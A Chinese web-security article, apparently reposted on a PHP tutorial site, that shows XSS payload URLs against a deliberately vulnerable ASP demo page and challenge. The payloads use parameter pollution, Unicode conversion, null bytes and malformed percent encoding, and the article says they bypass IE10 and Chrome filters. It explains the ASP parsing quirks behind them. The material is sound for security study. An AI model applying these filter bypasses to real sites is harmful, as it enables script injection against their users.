ASP XSS时用到的些特性 - 网站安全

ASP XSS时用到的些特性 - 网站安全 - 自学php

来源：自学PHP网时间：2015-04-17 10:15 作者：阅读:次

[导读] http://www.sdl.me/xssdemo/getxss.asp?input1=111!DOCTYPE htmlhtmlbodyh1This page is vulnerable to XSS!/h1preInputs:- Get: ?input1=something /predivInput1=111/div/body/......

http://www.sdl.me/xssdemo/getxss.asp?input1=111

<!DOCTYPE html>
<html>
<body>

<h1>This page is vulnerable to XSS!</h1>

<pre>
Inputs:
- Get: ?input1=something 
</pre>
<div>Input1=111</div>
</body>
</html>

view-source:http://www.sdl.me/xssdemo/getxss.asp?input1=111&input1=222

<!DOCTYPE html>
<html>
<body>

<h1>This page is vulnerable to XSS!</h1>

<pre>
Inputs:
- Get: ?input1=something 
</pre>
<div>Input1=111, 222</div>
</body>
</html>

这种情况下，构造一个XSS

http://www.sdl.me/xssdemo/getxss.asp?input1=%3Cscript/&&input1=FOOBAR&input1=%3Ealert(‘@IRSDL’);%3C/script%3E

<!DOCTYPE html>
<html>
<body>

<h1>This page is vulnerable to XSS!</h1>

<pre>
Inputs:
- Get: ?input1=something 
</pre>
<div>Input1=<script/, >alert('@IRSDL');</script></div>
</body>
</html>

经过测试，绕过了IE 10的XSS检测，而没有绕过Chrome的

－－－－－－－－－－－－－－－－－－－－－－－－－－－
www.sdl.me/xssdemo/getxss.asp?input1=<script/&in%u2119ut1=>al%u0117rt(‘@IRSDL’)</script/

<!DOCTYPE html>
<html>
<body>

<h1>This page is vulnerable to XSS!</h1>

<pre>
Inputs:
- Get: ?input1=something 
</pre>
<div>Input1=<script/, >alert('@IRSDL')</script/</div>
</body>
</html>

绕过了Chrome,IE10.
通绕XSS1 XSS2的方案：

http://sdl.me/challenge1/xss1/JsChallenge1.asp?I%%NPUT2=Somet%%hing&iN%%PUT2=’)1&inP%%UT2%00%00=1};lt=1;1&In%u2119ut2=1%26<1&input2=0<ale%%rt(/AWESOME_IRSDL/&in%u2119U%%T2%00%00%0%%0%00%0%%0=1);1&in%u2119uT%%2%00=1;i%%f(0&in%u2119ut2%%=1){{1&I%%n%%PuT2%00%00%00=1/%%*%%/&iN%%p%%Ut2=1/%%/

http://sdl.me/challenge1/xss1/JsChallenge1.asp?I%%NPUT2=Somet%%hing&iN%%PUT2=’)1&inP%%UT2%00%00=1};lt=1;1&In%u2119ut2=1%26%3C1&input2=0%3Cale%%rt(/AWESOME_IRSDL/&in%u2119U%%T2%00%00%0%%0%00%0%%0=1);1&in%u2119uT%%2%00=1;i%%f(0&in%u2119ut2%%=1){{1&I%%n%%PuT2%00%00%00=1/%%*%%/&iN%%p%%Ut2=1/%%/

原理：
1,ASP特性，HTTP参数污染[HTTP Parameter Pollution (HPP)]:ASP允许对同一参数传递多次值。如上例中。
2,UTF-8字符会被转ASCII字符，在参数名和值中都有效。比如，“inPut1=<scriPt/>” 等价于 “%u0131n%u2119ut1=%u3008scr%u0131%u2119t>”
3,ASP中参数名不区分大小写，如，input1等价于InPuT1
4,不管在参数名或值中，NULL后的值都被忽略。“input1=test”　等价于　“input1%00Something=test%00Anything”
5,在参数名或值中，%后如果不是有效的十六进制，%会被忽略。
比如：“input1=test” 等价于 “%input1%=t%%est%”
6,在&后的参数名后如果不接=,ASP不会将其作为一独立参数。如，“?&input1=test” 　参数名为&input1 值为test,“?&input1&input1=test”参数名为&input1&input1.

土豆网新消息提醒的绑定邮箱CSRF漏洞+email验证链

SecProject Web AppSec 之XSS解析第一篇 - 网站安全 -

子栏目

ASP XSS时用到的些特性 - 网站安全 - 自学php

最新评论

添加评论

更多文章推荐

添加评论